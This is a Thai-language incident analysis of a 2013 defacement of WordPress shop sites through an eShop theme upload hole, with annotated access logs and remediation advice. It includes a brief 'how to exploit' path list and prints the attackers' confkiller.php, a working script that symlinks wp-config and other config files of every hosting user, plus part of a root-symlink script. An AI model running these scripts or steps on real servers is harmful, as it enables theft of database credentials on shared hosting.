- ตรวจสอบไอพีแอดเดรสว่ามาจากที่ไหนมีที่ชุมหัวนอนหรือเปล่า โดยใช้ Web Tools ต่างๆ เช่นwww.maxmind.comwww.ip2location.com
180.244.249.92 (อินโดนีเซีย) มาจากกลุ่ม Indonesian Cyber Army
Location: Bogor, Indonesia, Asia
ISP: PT Telkom Indonesia
“วาว ว่าว ว้าว” มีที่หลับนอนซะด้วย (การแฉกลุ่มคนเหล่านี้ไม่จำเป็นต้องซ่อนไอพีแอดเดรส)
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
แฮกเกอร์เรียกฟังก์ชั่น sws=sym ซึ่งสคริปต์จะสร้าง symlink ต่างๆ นาๆ
180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
แฮกเกอร์เรียกฟังก์ชั่น Bypass Read
180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842
จากนั้นแฮกเกอร์เอกซคิวไฟล์ confkiller.php โดยที่สคริปต์จะไปสร้างไดร์เรกทอรี Indishell, INDISHELL พร้อมกำหนดสิทธ์ให้เป็น 0777
180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน/httpd/html/shop/ HTTP/1.1" 200 136865
แฮกเกอร์เริ่มใช้ช่องธีมของ WordPress ชื่อธีม eShop (สำหรับคนไหนใช่อยู่ อ่านมาถึงตรงนี้น่าจะรู้สึกร้อนๆ หนาวๆ)
180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
หลังจากอัพโหลดไฟล์ผ่านช่องโหว่ WordPress + ธีม ก็ได้เวลาสั่งให้สคริปต์ทำงาน
ถ้าดูจาก log จะเห็นว่าแฮกเกอร์ใช้เวลาไม่ถึง 5 นาที รายละเอียดโค๊ดสคริปต์สามารถดูได้จากไฟล์ files.php (ไม่ขออัพโหลดสคริปต์ขึ้นให้ดูนะครับ เพื่อนความปลอดภัยเดี๋ยวนำไปใช้ในทางที่ไม่เหมาะสม)
ขั้นตอนถัดมาให้ดาวน์โหลดไฟล์ที่แฮกเกอร์สร้างขึ้น แล้วเปิดด้วยโปรแกรม Text editor เพื่อดูสคริปต์ว่าไปยุมยามอะไรที่ไหนบนไดร์เรกทอรีระบบบ้าง (บางไฟล์สคริปต์มีการเข้ารหัส ต้อง decode)


แนวทางการแก้ไข:

ดาวน์โหลดไฟล์ /eShop/upload/index.php และ upload.php เปิดด้วยโปรแกรม Text Editor ตรวจสอบว่า filetypes ที่อัพโหลดได้เป็นนามสกุลไรบ้าง (วิธีป้องการชั่วคราวก็แค่ไม่อนุญาตให้อัพโหลดไฟล์ php)
แต่ถึงแม้ไม่อนุญาตให้อัพโหลดไฟล์นามสกุล PHP ได้ แต่ถ้าอัพโหลด png เป็นรูปโป้ ก็เหมือนเดิม
ช่องโหว่นี้ลำดับแรกต้องแก้ไขที่ themes ก่อนค่อยไปอุดช่องโหว่ที่เว็บเซิร์ฟเวอร์
ตัวอย่างโค๊ดจะ redirect ไปหน้า home page
/var/www/html/ช้อปปิ้ง.โดเมน.คอม/httpd/html/shop/wp-content/themes/wpshop/upload/​index.php​
if (!isset($_SERVER['HTTP_REFERER'])){
header("Location: /");
exit;
}


คำแนะนำ:

- อัพเกรด Apahce, PHP
- อัพเกรด WordPress เป็นเวอร์ชั่นล่าสุด
- เปลี่ยนยูสเซอร์ และรหัสผ่าน ทั้ง WordPress admin และ MySQL (ปกติเก็บเป็น plain text ที่ไฟล์ wp-config.php)


How to exploit deface web shopping

- อัพโหลดไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/themes/wpshop/upload/
- รันไฟล์สคริปต์
http://ช้อปปิ้ง.โดเมน.คอม/wp-content/uploads/products_img/สคริปต์.php


เครื่องมือที่ใช้:

- PHP Decoder
http://www.unphp.net/
คราวนี้มาดูรายละเอียดจาก access_log ไฟล์กันบ้างครับ
### –> START: ACCESS YOUR SITE ###
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/plugins/sitepress-multilingual-cms/res/css/language-selector.css?v=2.0.4.1 HTTP/1.1" 200 5615
180.244.249.92 - - [28/May/2013:14:48:25 +0700] "GET /category/coffee/bean/ HTTP/1.1" 200 50899
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/slider.css HTTP/1.1" 200 2474
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/superfish.css HTTP/1.1" 200 3633
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/library/css/thickbox.css HTTP/1.1" 200 4014
180.244.249.92 - - [28/May/2013:14:48:27 +0700] "GET /wp-content/themes/อีช้อปปิ้ง/style.css HTTP/1.1" 200 35201
### –> START ATTACKING ###
เปิดเว็บไซต์พาท /wp-content/themes/อีช้อปปิ้ง/upload/upload.php โดยใช่ช่องโหว่ของปลั๊กอิน จากนั้นแฮกเกอร์อัพโหลดไฟล์สคริปต์ (idca.php) ไฟล์นี้เข้ารหัสไว้มากกว่าหนึ่งฟังก์ชั่น
จากนั้นรันเรียกไฟล์สคริปต์ตามด้วยพาทที่ต้องการ (?y ดีฟอลล์พาทที่เก็บข้อมูลเว็บไซต์)
180.244.249.92 - - [28/May/2013:14:48:47 +0700] "POST /wp-content/themes/อีช้อปปิ้ง/upload/upload.php?img=&nonce= HTTP/1.1" 200 169
180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 4042
180.244.249.92 - - [28/May/2013:14:49:07 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -
180.244.249.92 - - [28/May/2013:14:49:08 +0700] "GET /wp-content/uploads/products_img/idca.php?favicon HTTP/1.1" 303 -
180.244.249.92 - - [28/May/2013:14:49:15 +0700] "POST /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:49:21 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904
180.244.249.92 - - [28/May/2013:14:49:39 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/ HTTP/1.1" 200 19904
### –> [1] END ATTACKED SUCCESS ###
พยายามเจาะไปเรื่อยๆ จนแฮกเกอร์สามารถเรียกฟังก์ชั่นอัพโหลดผ่านไฟล์สคริปต์ idca.php แล้วทำการอัพโหลดไฟล์สคริปต์อื่นเขาไปยังรูทไดเรกทอรีของโดเมนนั้นๆ 
180.244.249.92 - - [28/May/2013:14:49:41 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/ HTTP/1.1" 200 27718
180.244.249.92 - - [28/May/2013:14:49:44 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:49:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880
180.244.249.92 - - [28/May/2013:14:49:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:49:59 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:50:02 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 121198
180.244.249.92 - - [28/May/2013:14:50:05 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:50:10 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13730
180.244.249.92 - - [28/May/2013:14:50:54 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124263
180.244.249.92 - - [28/May/2013:14:51:07 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383
180.244.249.92 - - [28/May/2013:14:51:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 124383
180.244.249.92 - - [28/May/2013:14:51:18 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 12513
180.244.249.92 - - [28/May/2013:14:51:27 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&edit=/var/www/html/โดเมน-B/httpd/html/ช้อป/newfile.php HTTP/1.1" 200 46661
### –> [2] END ATTACKED SUCCESS ###
ดูเหมือนทำงานกันเป็นทีมเล็กๆ โดยพยายามเจาะเข้าหน้า admin ของ WordPress ด้วย
[Indonesian and Chaina]
180.244.249.92 - - [28/May/2013:14:53:12 +0700] "GET /files.php HTTP/1.1" 200 2832
142.4.101.26 - - [28/May/2013:14:53:12 +0700] "GET /wp-login.php HTTP/1.0" 200 2245
อัพโหลดไฟล์ files.php สำเร็จ
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
142.4.101.26 - - [28/May/2013:14:53:13 +0700] "POST /wp-login.php HTTP/1.0" 302 -
180.244.249.92 - - [28/May/2013:14:53:14 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
### –> [3] END ATTACKED SUCCESS ###
อัพโหลดไฟล์เพิ่มเติม confkiller.php
180.244.249.92 - - [28/May/2013:14:53:21 +0700] "GET /wp-content/uploads/products_img/idca.php HTTP/1.1" 200 1191961
180.244.249.92 - - [28/May/2013:14:53:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 129458
180.244.249.92 - - [28/May/2013:14:53:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:53:32 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13734
180.244.249.92 - - [28/May/2013:14:53:42 +0700] "POST /confkiller.php HTTP/1.1" 200 5422   #<--hacker: code="" file="" files.php="" name="" upload="">
180.244.249.92 - - [28/May/2013:14:53:43 +0700] "POST /confkiller.php HTTP/1.1" 200 5243   #<--hacker: code="" confkiller.php="" file="" name="" upload="">
### –> [4] END ATTACKED SUCCESS ###
สั่งผ่านเว็บเบราว์เซอร์เรียกสคริปต์ไฟล์ confkiller.php ทำงาน
180.244.249.92 - - [28/May/2013:14:53:45 +0700] "GET /INDISHELL/ HTTP/1.1" 200 705

180.244.249.92 - - [28/May/2013:14:54:09 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:11 +0700] "GET /confkiller.php HTTP/1.1" 200 4842
180.244.249.92 - - [28/May/2013:14:54:12 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/&x=upload HTTP/1.1" 200 13665
180.244.249.92 - - [28/May/2013:14:54:15 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B/httpd/html/ช้อป/ HTTP/1.1" 200 136865
180.244.249.92 - - [28/May/2013:14:54:20 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:54:23 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:25 +0700] "GET /files.php?sws=passwd HTTP/1.1" 200 5520
**************
180.244.249.92 - - [28/May/2013:14:54:26 +0700] "POST /files.php?sws=passwd&save=1 HTTP/1.1" 200 21005
**************
180.244.249.92 - - [28/May/2013:14:54:29 +0700] "GET /files.php?sws=sym HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:34 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=joomla HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:36 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=wp HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:37 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=vb HTTP/1.1" 200 2202
180.244.249.92 - - [28/May/2013:14:54:38 +0700] "GET /files.php?sws=read HTTP/1.1" 200 2600
180.244.249.92 - - [28/May/2013:14:54:41 +0700] "GET /files.php? HTTP/1.1" 200 2832
เป็นอันเรียบร้อย หน้าหลักโฮมเพจ
### –> [5] START: ATTACK UNSUCCESSFUL ###
พยายามเจาะเข้าไปยังโดเมนที่เหลือต่อ
**************
180.244.249.92 - - [28/May/2013:14:54:48 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/ HTTP/1.1" 200 20880
**************
180.244.249.92 - - [28/May/2013:14:54:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/ HTTP/1.1" 200 30970
180.244.249.92 - - [28/May/2013:14:55:24 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:55:52 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14128
180.244.249.92 - - [28/May/2013:14:55:57 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/&x=upload HTTP/1.1" 200 14155
180.244.249.92 - - [28/May/2013:14:56:04 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:56:15 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-B-A/httpd/html/ HTTP/1.1" 200 99678
180.244.249.92 - - [28/May/2013:14:56:51 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:56:55 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/ HTTP/1.1" 200 17516
180.244.249.92 - - [28/May/2013:14:57:16 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/ HTTP/1.1" 200 28180
180.244.249.92 - - [28/May/2013:14:57:26 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/ HTTP/1.1" 200 146442
180.244.249.92 - - [28/May/2013:14:57:31 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13852
180.244.249.92 - - [28/May/2013:14:57:37 +0700] "POST /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-C/httpd/html/&x=upload HTTP/1.1" 200 13879
180.244.249.92 - - [28/May/2013:14:57:45 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/ HTTP/1.1" 200 22856
180.244.249.92 - - [28/May/2013:14:57:47 +0700] "GET /wp-content/uploads/products_img/idca.php?y=/var/www/html/โดเมน-D/ HTTP/1.1" 200 47166
### –> END: ATTACK UNSUCCESSFUL ###
ไม่สำเร็จ นอนดีกว่า :- 
ตัวอย่าง ไฟล์สคริปต์ files.php
@mkdir('sym',0777);
$htcs  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$f =@fopen ('sym/.htaccess','w');
fwrite($f , $htcs);
@symlink("/","sym/root");
$pg = basename(__FILE__);
 ////////// WordPress ////////////
$pos = strpos($wp, "200");
$config=" ";
if (strpos($wp, "200") == true )
{
 $config="Wordpress";
}
elseif (strpos($wp12, "200") == true)
{
  $config="Wordpress";
}
ตัวอย่าง ไฟล์สคริปต์ confkiller.php
    error_reporting(0);
    echo "";
    if(isset($_POST['su']))
    {
    mkdir('Indishell',0777);
$rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$g = fopen('Indishell/.htaccess','w');
fwrite($g,$rr);
$indishell = symlink("/","Indishell/root");
            $rt=" OwN3d";
        echo "Bhai ji .... check link given below for / folder symlink
$rt";
        $dir=mkdir('INDISHELL',0777);
        $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $f = fopen('INDISHELL/.htaccess','w');
        fwrite($f,$r);
        $consym="configuration files";
        echo "
The link given below for configuration file symlink...open it, once processing finish
$consym";
            $usr=explode("\n",$_POST['user']);
        $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
        foreach($usr as $uss )
        {
            $us=trim($uss);
            foreach($configuration as $c)
            {
             $rs="/home/".$us."/public_html/".$c;
             $r="INDISHELL/".$us." .. ".$c;
             symlink($rs,$r);
        }
            }
        }
    ?>
ตัวอย่าง ไฟล์สคริปต์ idca.php

    
root@IDCA:~#
    
    
    



สรุป คือแฮกเกอร์พยายามเจาะเข้าระบบทุกโดเมนบนเว็บโฮตส์ติ้ง แต่แฮกได้เฉพาะผู้ที่ใช้ eShop WordPress Plugin แล้วทำการเปลี่ยนแปลงข้อมูลหน้าโฮมเพจ
และทำลิงก์แสดงข้อมูลไดร์เรกทอรีของระบบ การตรวจสอบเบื้องต้นไม่พบว่ามีข้อมูลสำคัญหลุดออกไป ช่องโหว่เกิดจากเครื่องมือ eShop และแฮกเกอร์ไม่ได้ใช้ทางช่องโหว่ของ WordPress (แต่ผู้ต้องอัพเดท WordPress ไปเป็นเวอร์ชั่นล่าสุด)